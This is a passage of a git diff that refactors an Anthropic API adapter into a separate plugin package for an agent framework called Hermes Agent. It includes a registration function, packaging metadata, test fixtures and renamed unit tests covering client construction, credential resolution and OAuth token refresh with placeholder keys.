_convert_content_to_anthropic, + _convert_tool_message_to_result, + _convert_user_message, + _detect_claude_code_version, + _evict_old_screenshots, + _extract_preserved_thinking_blocks, + _forbids_sampling_params, + _generate_pkce, + _get_anthropic_max_output, + _get_anthropic_sdk, + _get_claude_code_version, + _image_source_from_openai_url, + _is_azure_anthropic_endpoint, + _is_bedrock_model_id, + _is_deepseek_anthropic_endpoint, + _is_kimi_coding_endpoint, + _is_kimi_family_endpoint, + _is_minimax_anthropic_endpoint, + _is_oauth_token, + _is_third_party_anthropic_endpoint, + _manage_thinking_signatures, + _merge_consecutive_roles, + _model_name_is_kimi_family, + _normalize_base_url_text, + _normalize_tool_input_schema, + _prefer_refreshable_claude_code_token, + _read_claude_code_credentials_from_keychain, + _refresh_oauth_token, + _requires_bearer_auth, + _resolve_anthropic_messages_max_tokens, + _resolve_claude_code_token_from_credentials, + _resolve_positive_anthropic_max_tokens, + _sanitize_tool_id, + _strip_orphaned_tool_blocks, + _supports_adaptive_thinking, + _supports_fast_mode, + _supports_xhigh_effort, + _write_claude_code_credentials, + _base_url_needs_context_1m_beta, + build_anthropic_bedrock_client, + build_anthropic_client, + build_anthropic_kwargs, + convert_messages_to_anthropic, + convert_tools_to_anthropic, + is_claude_code_token_valid, + normalize_model_name, + read_claude_code_credentials, + read_claude_managed_key, + read_hermes_oauth_credentials, + refresh_anthropic_oauth_pure, + resolve_anthropic_token, + run_hermes_oauth_login_pure, + run_oauth_setup_token, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group.""" + from hermes_agent_anthropic import adapter + + # Register every public symbol that __init__.py re-exports from adapter + # as a provider service so core code can look them up via the registry + # instead of importing from hermes_agent_anthropic directly. + _symbols = [ + "ADAPTIVE_EFFORT_MAP", + "THINKING_BUDGET", + "_ANTHROPIC_DEFAULT_OUTPUT_LIMIT", + "_ANTHROPIC_OUTPUT_LIMITS", + "_ADAPTIVE_THINKING_SUBSTRINGS", + "_CLAUDE_CODE_SYSTEM_PREFIX", + "_CLAUDE_CODE_VERSION_FALLBACK", + "_COMMON_BETAS", + "_CONTEXT_1M_BETA", + "_FAST_MODE_BETA", + "_FAST_MODE_SUPPORTED_SUBSTRINGS", + "_HERMES_OAUTH_FILE", + "_KIMI_FAMILY_MODEL_PREFIXES", + "_MCP_TOOL_PREFIX", + "_NO_SAMPLING_PARAMS_SUBSTRINGS", + "_OAUTH_CLIENT_ID", + "_OAUTH_ONLY_BETAS", + "_OAUTH_REDIRECT_URI", + "_OAUTH_SCOPES", + "_OAUTH_TOKEN_URL", + "_TOOL_STREAMING_BETA", + "_XHIGH_EFFORT_SUBSTRINGS", + "_build_anthropic_client_with_bearer_hook", + "_common_betas_for_base_url", + "_content_parts_to_anthropic_blocks", + "_convert_assistant_message", + "_convert_content_part_to_anthropic", + "_convert_content_to_anthropic", + "_convert_tool_message_to_result", + "_convert_user_message", + "_detect_claude_code_version", + "_evict_old_screenshots", + "_extract_preserved_thinking_blocks", + "_forbids_sampling_params", + "_generate_pkce", + "_get_anthropic_max_output", + "_get_anthropic_sdk", + "_get_claude_code_version", + "_image_source_from_openai_url", + "_is_azure_anthropic_endpoint", + "_is_bedrock_model_id", + "_is_deepseek_anthropic_endpoint", + "_is_kimi_coding_endpoint", + "_is_kimi_family_endpoint", + "_is_minimax_anthropic_endpoint", + "_is_oauth_token", + "_is_third_party_anthropic_endpoint", + "_manage_thinking_signatures", + "_merge_consecutive_roles", + "_model_name_is_kimi_family", + "_normalize_base_url_text", + "_normalize_tool_input_schema", + "_prefer_refreshable_claude_code_token", + "_read_claude_code_credentials_from_keychain", + "_refresh_oauth_token", + "_requires_bearer_auth", + "_resolve_anthropic_messages_max_tokens", + "_resolve_claude_code_token_from_credentials", + "_resolve_positive_anthropic_max_tokens", + "_sanitize_tool_id", + "_strip_orphaned_tool_blocks", + "_supports_adaptive_thinking", + "_supports_fast_mode", + "_supports_xhigh_effort", + "_write_claude_code_credentials", + "_base_url_needs_context_1m_beta", + "build_anthropic_bedrock_client", + "build_anthropic_client", + "build_anthropic_kwargs", + "convert_messages_to_anthropic", + "convert_tools_to_anthropic", + "is_claude_code_token_valid", + "normalize_model_name", + "read_claude_code_credentials", + "read_claude_managed_key", + "read_hermes_oauth_credentials", + "refresh_anthropic_oauth_pure", + "resolve_anthropic_token", + "run_hermes_oauth_login_pure", + "run_oauth_setup_token", + ] + ctx.register_provider_services("anthropic", { + name: getattr(adapter, name) for name in _symbols + }) diff --git a/agent/anthropic_adapter.py b/plugins/model-providers/anthropic/hermes_agent_anthropic/adapter.py similarity index 99% rename from agent/anthropic_adapter.py rename to plugins/model-providers/anthropic/hermes_agent_anthropic/adapter.py index 898df7eb685..c27a69e987e 100644 --- a/agent/anthropic_adapter.py +++ b/plugins/model-providers/anthropic/hermes_agent_anthropic/adapter.py @@ -38,14 +38,6 @@ def _get_anthropic_sdk(): """Return the ``anthropic`` SDK module, importing lazily. None if not installed.""" global _anthropic_sdk if _anthropic_sdk is ...: - try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("provider.anthropic", prompt=False) - except ImportError: - pass - except Exception: - # FeatureUnavailable — fall through to ImportError handling below - pass try: import anthropic as _sdk _anthropic_sdk = _sdk @@ -599,7 +591,7 @@ def _build_anthropic_client_with_bearer_hook( normalize_proxy_env_vars() from httpx import Timeout - from agent.azure_identity_adapter import build_bearer_http_client + from hermes_agent_azure import build_bearer_http_client _read_timeout = timeout if (isinstance(timeout, (int, float)) and timeout > 0) else 900.0 timeout_obj = Timeout(timeout=float(_read_timeout), connect=10.0) diff --git a/plugins/model-providers/anthropic/pyproject.toml b/plugins/model-providers/anthropic/pyproject.toml new file mode 100644 index 00000000000..8302151cb18 --- /dev/null +++ b/plugins/model-providers/anthropic/pyproject.toml @@ -0,0 +1,20 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-anthropic" +version = "0.1.0" +description = "Anthropic Messages API adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "anthropic==0.87.0", + "hermes-agent-azure", +] + +[project.entry-points."hermes_agent.plugins"] +anthropic = "hermes_agent_anthropic:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_anthropic*"] diff --git a/plugins/model-providers/anthropic/tests/conftest.py b/plugins/model-providers/anthropic/tests/conftest.py new file mode 100644 index 00000000000..036f583ee9f --- /dev/null +++ b/plugins/model-providers/anthropic/tests/conftest.py @@ -0,0 +1,108 @@ +"""Shared fixtures for anthropic plugin tests. + +Registers the anthropic plugin in the singleton registry before each test +and provides the ``agent`` fixture used by integration tests. +""" + +from unittest.mock import MagicMock, patch + +import pytest + + +class _MinimalCtx: + """Minimal plugin context that only wires up provider_services.""" + + def register_provider_services(self, name, services): + from agent.plugin_registries import registries + registries.register_provider_services(name, services) + + # No-ops for all other register_* methods so plugins don't crash. + def register_platform(self, *a, **kw): pass + def register_tool_provider_entry(self, *a, **kw): pass + def register_auth_provider(self, *a, **kw): pass + def register_transport_builder(self, *a, **kw): pass + def register_model_metadata_provider(self, *a, **kw): pass + def register_credential_pool(self, *a, **kw): pass + def register_browser_provider(self, *a, **kw): pass + def register_image_gen_provider(self, *a, **kw): pass + def register_video_gen_provider(self, *a, **kw): pass + + +@pytest.fixture(autouse=True) +def _register_anthropic_plugin(): + """Register the real anthropic plugin for the duration of each test, + then restore the registry to its prior state afterwards. + + Uses patch.dict so the registry is guaranteed to be restored even if + tests run across conftest scopes in the same process. + """ + from unittest.mock import patch + from agent.plugin_registries import registries + + # Build a fresh real-plugin namespace by calling register() against a + # collector context, then inject it via patch.dict for isolation. + collected: dict = {} + + class _CollectCtx: + def register_provider_services(self, name, services): + if name == "anthropic": + # Go through the real register_provider_services so _LazyRef + # wrappers are created. This makes patch("hermes_agent_anthropic.adapter.X") + # work in plugin tests (the _LazyRef re-reads from the module at call time). + registries.register_provider_services(name, services) + collected.update(registries._provider_services.get(name, {})) + def register_platform(self, *a, **kw): pass + def register_tool_provider_entry(self, *a, **kw): pass + def register_auth_provider(self, *a, **kw): pass + def register_transport_builder(self, *a, **kw): pass + def register_model_metadata_provider(self, *a, **kw): pass + def register_credential_pool(self, *a, **kw): pass + def register_browser_provider(self, *a, **kw): pass + def register_image_gen_provider(self, *a, **kw): pass + def register_video_gen_provider(self, *a, **kw): pass + + try: + from hermes_agent_anthropic import register as _reg # type: ignore[import] + _reg(_CollectCtx()) + except ImportError: + pass + + with patch.dict(registries._provider_services, {"anthropic": collected}): + yield + + +def _make_tool_defs(*names: str) -> list: + """Build minimal tool definition list accepted by AIAgent.__init__.""" + return [ + { + "type": "function", + "function": { + "name": n, + "description": f"{n} tool", + "parameters": {"type": "object", "properties": {}}, + }, + } + for n in names + ] + + +@pytest.fixture() +def agent(): + """Minimal AIAgent with mocked OpenAI client and tool loading.""" + from run_agent import AIAgent + with ( + patch( + "run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search") + ), + patch("run_agent.check_toolset_requirements", return_value={}), + patch("run_agent.OpenAI"), + ): + a = AIAgent( + api_key="test-key-1234567890", + base_url="https://openrouter.ai/api/v1", + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + a.client = MagicMock() + return a diff --git a/tests/agent/test_anthropic_adapter.py b/plugins/model-providers/anthropic/tests/test_anthropic_adapter.py similarity index 95% rename from tests/agent/test_anthropic_adapter.py rename to plugins/model-providers/anthropic/tests/test_anthropic_adapter.py index cfd6edeca65..29d65d8f46d 100644 --- a/tests/agent/test_anthropic_adapter.py +++ b/plugins/model-providers/anthropic/tests/test_anthropic_adapter.py @@ -9,7 +9,7 @@ from unittest.mock import patch, MagicMock import pytest from agent.prompt_caching import apply_anthropic_cache_control -from agent.anthropic_adapter import ( +from hermes_agent_anthropic.adapter import ( _is_azure_anthropic_endpoint, _is_oauth_token, _refresh_oauth_token, @@ -60,7 +60,7 @@ class TestIsOAuthToken: class TestBuildAnthropicClient: def test_setup_token_uses_auth_token(self): - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client("sk-ant-oat01-" + "x" * 60) kwargs = mock_sdk.Anthropic.call_args[1] assert "auth_token" in kwargs @@ -77,7 +77,7 @@ class TestBuildAnthropicClient: def test_oauth_drop_context_1m_beta_strips_only_1m(self): """drop_context_1m_beta=True strips context-1m-2025-08-07 while preserving every other OAuth-relevant beta.""" - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client( "sk-ant-oat01-" + "x" * 60, drop_context_1m_beta=True, @@ -92,7 +92,7 @@ class TestBuildAnthropicClient: assert "fine-grained-tool-streaming-2025-05-14" in betas def test_api_key_uses_api_key(self): - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client("sk-ant-api03-something") kwargs = mock_sdk.Anthropic.call_args[1] assert kwargs["api_key"] == "sk-ant-api03-something" @@ -105,7 +105,7 @@ class TestBuildAnthropicClient: assert "claude-code-20250219" not in betas # OAuth-only beta NOT present def test_custom_base_url(self): - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client("sk-ant-api03-x", base_url="https://custom.api.com") kwargs = mock_sdk.Anthropic.call_args[1] assert kwargs["base_url"] == "https://custom.api.com" @@ -114,7 +114,7 @@ class TestBuildAnthropicClient: } def test_azure_anthropic_endpoint_keeps_context_1m_beta(self): - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client( "azure-key", base_url="https://example.services.ai.azure.com/models/anthropic", @@ -138,7 +138,7 @@ class TestBuildAnthropicClient: ) is False def test_bedrock_client_keeps_context_1m_beta(self): - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: mock_sdk.AnthropicBedrock = MagicMock() build_anthropic_bedrock_client("us-east-1") kwargs = mock_sdk.AnthropicBedrock.call_args[1] @@ -146,7 +146,7 @@ class TestBuildAnthropicClient: assert "context-1m-2025-08-07" in betas def test_minimax_anthropic_endpoint_uses_bearer_auth_for_regular_api_keys(self): - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client( "minimax-secret-123", base_url="https://api.minimax.io/anthropic", @@ -159,7 +159,7 @@ class TestBuildAnthropicClient: } def test_minimax_cn_anthropic_endpoint_omits_tool_streaming_beta(self): - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client( "minimax-cn-secret-123", base_url="https://api.minimaxi.com/anthropic", @@ -178,7 +178,7 @@ class TestBuildAnthropicClient: and the endpoint returns HTTP 401. Also verifies that Azure retains the 1M-context beta even though it now matches `_requires_bearer_auth`. """ - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client( "azure-foundry-secret-123", base_url="https://my-resource.openai.azure.com/anthropic", @@ -197,7 +197,7 @@ class TestReadClaudeCodeCredentials: @pytest.fixture(autouse=True) def no_keychain(self, monkeypatch): monkeypatch.setattr( - "agent.anthropic_adapter._read_claude_code_credentials_from_keychain", + "hermes_agent_anthropic.adapter._read_claude_code_credentials_from_keychain", lambda: None, ) @@ -211,7 +211,7 @@ class TestReadClaudeCodeCredentials: "expiresAt": int(time.time() * 1000) + 3600_000, } })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) creds = read_claude_code_credentials() assert creds is not None assert creds["accessToken"] == "sk-ant-oat01-token" @@ -221,20 +221,20 @@ class TestReadClaudeCodeCredentials: def test_ignores_primary_api_key_for_native_anthropic_resolution(self, tmp_path, monkeypatch): claude_json = tmp_path / ".claude.json" claude_json.write_text(json.dumps({"primaryApiKey": "sk-ant-api03-primary"})) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) creds = read_claude_code_credentials() assert creds is None def test_returns_none_for_missing_file(self, tmp_path, monkeypatch): - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert read_claude_code_credentials() is None def test_returns_none_for_missing_oauth_key(self, tmp_path, monkeypatch): cred_file = tmp_path / ".claude" / ".credentials.json" cred_file.parent.mkdir(parents=True) cred_file.write_text(json.dumps({"someOtherKey": {}})) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert read_claude_code_credentials() is None def test_returns_none_for_empty_access_token(self, tmp_path, monkeypatch): @@ -243,7 +243,7 @@ class TestReadClaudeCodeCredentials: cred_file.write_text(json.dumps({ "claudeAiOauth": {"accessToken": "", "refreshToken": "x"} })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert read_claude_code_credentials() is None @@ -266,7 +266,7 @@ class TestResolveAnthropicToken: monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-api03-mykey") monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant-oat01-mytoken") monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() == "sk-ant-oat01-mytoken" def test_does_not_resolve_primary_api_key_as_native_anthropic_token(self, monkeypatch, tmp_path): @@ -274,7 +274,7 @@ class TestResolveAnthropicToken: monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) (tmp_path / ".claude.json").write_text(json.dumps({"primaryApiKey": "sk-ant-api03-primary"})) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() is None @@ -282,28 +282,28 @@ class TestResolveAnthropicToken: monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-api03-mykey") monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() == "sk-ant-api03-mykey" def test_falls_back_to_token(self, monkeypatch, tmp_path): monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False) monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant-oat01-mytoken") monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() == "sk-ant-oat01-mytoken" def test_returns_none_with_no_creds(self, monkeypatch, tmp_path): monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False) monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() is None def test_falls_back_to_claude_code_oauth_token(self, monkeypatch, tmp_path): monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False) monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "sk-ant-oat01-test-token") - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() == "sk-ant-oat01-test-token" def test_falls_back_to_claude_code_credentials(self, monkeypatch, tmp_path): @@ -319,7 +319,7 @@ class TestResolveAnthropicToken: "expiresAt": int(time.time() * 1000) + 3600_000, } })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() == "cc-auto-token" def test_prefers_refreshable_claude_code_credentials_over_static_anthropic_token(self, monkeypatch, tmp_path): @@ -335,7 +335,7 @@ class TestResolveAnthropicToken: "expiresAt": int(time.time() * 1000) + 3600_000, } })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() == "cc-auto-token" @@ -345,7 +345,7 @@ class TestResolveAnthropicToken: monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) claude_json = tmp_path / ".claude.json" claude_json.write_text(json.dumps({"primaryApiKey": "sk-ant-api03-managed-key"})) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) assert resolve_anthropic_token() == "sk-ant-oat01-static-token" @@ -356,7 +356,7 @@ class TestRefreshOauthToken: assert _refresh_oauth_token(creds) is None def test_successful_refresh(self, tmp_path, monkeypatch): - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) creds = { "accessToken": "old-token", @@ -401,7 +401,7 @@ class TestRefreshOauthToken: class TestWriteClaudeCodeCredentials: def test_writes_new_file(self, tmp_path, monkeypatch): - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) _write_claude_code_credentials("tok", "ref", 12345) cred_file = tmp_path / ".claude" / ".credentials.json" assert cred_file.exists() @@ -411,7 +411,7 @@ class TestWriteClaudeCodeCredentials: assert data["claudeAiOauth"]["expiresAt"] == 12345 def test_preserves_existing_fields(self, tmp_path, monkeypatch): - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) cred_dir = tmp_path / ".claude" cred_dir.mkdir() cred_file = cred_dir / ".credentials.json" @@ -431,7 +431,7 @@ class TestWriteClaudeCodeCredentials: the fix shipped in #19673 (google_oauth) and #21148 (mcp_oauth). """ import stat as _stat - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) _write_claude_code_credentials("tok", "ref", 12345) cred_file = tmp_path / ".claude" / ".credentials.json" @@ -457,10 +457,10 @@ class TestResolveWithRefresh: "expiresAt": int(time.time() * 1000) - 3600_000, } })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) # Mock refresh to succeed - with patch("agent.anthropic_adapter._refresh_oauth_token", return_value="refreshed-token"): + with patch("hermes_agent_anthropic.adapter._refresh_oauth_token", return_value="refreshed-token"): result = resolve_anthropic_token() assert result == "refreshed-token" @@ -479,9 +479,9 @@ class TestResolveWithRefresh: "expiresAt": int(time.time() * 1000) - 3600_000, } })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) - with patch("agent.anthropic_adapter._refresh_oauth_token", return_value="refreshed-token"): + with patch("hermes_agent_anthropic.adapter._refresh_oauth_token", return_value="refreshed-token"): result = resolve_anthropic_token() assert result == "refreshed-token" @@ -509,7 +509,7 @@ class TestRunOauthSetupToken: "expiresAt": int(time.time() * 1000) + 3600_000, } })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) with patch("subprocess.run") as mock_run: mock_run.return_value = MagicMock(returncode=0) @@ -527,7 +527,7 @@ class TestRunOauthSetupToken: monkeypatch.setattr("shutil.which", lambda _: "/usr/bin/claude") monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "from-env-var") monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) with patch("subprocess.run") as mock_run: mock_run.return_value = MagicMock(returncode=0) @@ -540,7 +540,7 @@ class TestRunOauthSetupToken: monkeypatch.setattr("shutil.which", lambda _: "/usr/bin/claude") monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) with patch("subprocess.run") as mock_run: mock_run.return_value = MagicMock(returncode=0) @@ -1187,14 +1187,14 @@ class TestBuildAnthropicKwargs: # Because build_anthropic_kwargs doesn't currently accept sampling # params through its signature, we exercise the strip behavior by # calling the internal predicate directly. - from agent.anthropic_adapter import _forbids_sampling_params + from hermes_agent_anthropic.adapter import _forbids_sampling_params assert _forbids_sampling_params("claude-opus-4-7") is True assert _forbids_sampling_params("claude-opus-4-6") is False assert _forbids_sampling_params("claude-sonnet-4-5") is False def test_supports_fast_mode_predicate(self): """Fast mode is Opus 4.6 only — Opus 4.7 and others must be excluded.""" - from agent.anthropic_adapter import _supports_fast_mode + from hermes_agent_anthropic.adapter import _supports_fast_mode assert _supports_fast_mode("claude-opus-4-6") is True assert _supports_fast_mode("anthropic/claude-opus-4-6") is True assert _supports_fast_mode("claude-opus-4-7") is False @@ -1347,36 +1347,36 @@ class TestBuildAnthropicKwargs: class TestGetAnthropicMaxOutput: def test_opus_4_6(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic.adapter import _get_anthropic_max_output assert _get_anthropic_max_output("claude-opus-4-6") == 128_000 def test_opus_4_6_variant(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic.adapter import _get_anthropic_max_output assert _get_anthropic_max_output("claude-opus-4-6:1m:fast") == 128_000 def test_sonnet_4_6(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic.adapter import _get_anthropic_max_output assert _get_anthropic_max_output("claude-sonnet-4-6") == 64_000 def test_sonnet_4_date_stamped(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic.adapter import _get_anthropic_max_output assert _get_anthropic_max_output("claude-sonnet-4-20250514") == 64_000 def test_claude_3_5_sonnet(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic.adapter import _get_anthropic_max_output assert _get_anthropic_max_output("claude-3-5-sonnet-20241022") == 8_192 def test_claude_3_opus(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic.adapter import _get_anthropic_max_output assert _get_anthropic_max_output("claude-3-opus-20240229") == 4_096 def test_unknown_future_model(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic.adapter import _get_anthropic_max_output assert _get_anthropic_max_output("claude-ultra-5-20260101") == 128_000 def test_longest_prefix_wins(self): """'claude-3-5-sonnet' should match before 'claude-3-5'.""" - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic.adapter import _get_anthropic_max_output # claude-3-5-sonnet (8192) should win over a hypothetical shorter match assert _get_anthropic_max_output("claude-3-5-sonnet-20241022") == 8_192 @@ -1873,7 +1873,7 @@ class TestToolChoice: # max_tokens resolver — openclaw/openclaw#66664 port # --------------------------------------------------------------------------- -from agent.anthropic_adapter import ( +from hermes_agent_anthropic.adapter import ( _resolve_positive_anthropic_max_tokens, _resolve_anthropic_messages_max_tokens, ) diff --git a/plugins/model-providers/anthropic/tests/test_anthropic_agent_integration.py b/plugins/model-providers/anthropic/tests/test_anthropic_agent_integration.py new file mode 100644 index 00000000000..d4b750919e7 --- /dev/null +++ b/plugins/model-providers/anthropic/tests/test_anthropic_agent_integration.py @@ -0,0 +1,420 @@ +"""Integration tests for Anthropic-specific AIAgent behaviour. + +Tests that exercise the interaction between AIAgent and the Anthropic +provider plugin — covering max_tokens passthrough, image fallback, +provider fallback routing, base-url passthrough, credential refresh, +and OAuth flag setting. +""" + +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +from hermes_agent_anthropic.adapter import build_anthropic_client, resolve_anthropic_token, _is_oauth_token + +import run_agent +from run_agent import AIAgent + + +def _make_tool_defs(*names: str) -> list: + """Build minimal tool definition list accepted by AIAgent.__init__.""" + return [ + { + "type": "function", + "function": { + "name": n, + "description": f"{n} tool", + "parameters": {"type": "object", "properties": {}}, + }, + } + for n in names + ] + + +class TestBuildApiKwargsAnthropicMaxTokens: + """Bug fix: max_tokens was always None for Anthropic mode, ignoring user config.""" + + def test_max_tokens_passed_to_anthropic(self, agent): + agent.api_mode = "anthropic_messages" + agent.max_tokens = 4096 + agent.reasoning_config = None + + with patch("hermes_agent_anthropic.adapter.build_anthropic_kwargs") as mock_build: + mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 4096} + agent._build_api_kwargs([{"role": "user", "content": "test"}]) + _, kwargs = mock_build.call_args + if not kwargs: + kwargs = dict(zip( + ["model", "messages", "tools", "max_tokens", "reasoning_config"], + mock_build.call_args[0], + )) + assert kwargs.get("max_tokens") == 4096 or mock_build.call_args[1].get("max_tokens") == 4096 + + def test_max_tokens_none_when_unset(self, agent): + agent.api_mode = "anthropic_messages" + agent.max_tokens = None + agent.reasoning_config = None + + with patch("hermes_agent_anthropic.adapter.build_anthropic_kwargs") as mock_build: + mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 16384} + agent._build_api_kwargs([{"role": "user", "content": "test"}]) + call_args = mock_build.call_args + # max_tokens should be None (let adapter use its default) + if call_args[1]: + assert call_args[1].get("max_tokens") is None + else: + assert call_args[0][3] is None + + +class TestAnthropicImageFallback: + def test_build_api_kwargs_converts_multimodal_user_image_to_text(self, agent): + agent.api_mode = "anthropic_messages" + agent.reasoning_config = None + + api_messages = [{ + "role": "user", + "content": [ + {"type": "text", "text": "Can you see this now?"}, + {"type": "image_url", "image_url": {"url": "https://example.com/cat.png"}}, + ], + }] + + with ( + patch("tools.vision_tools.vision_analyze_tool", new=AsyncMock(return_value=json.dumps({"success": True, "analysis": "A cat sitting on a chair."}))), + patch("hermes_agent_anthropic.adapter.build_anthropic_kwargs") as mock_build, + ): + mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], 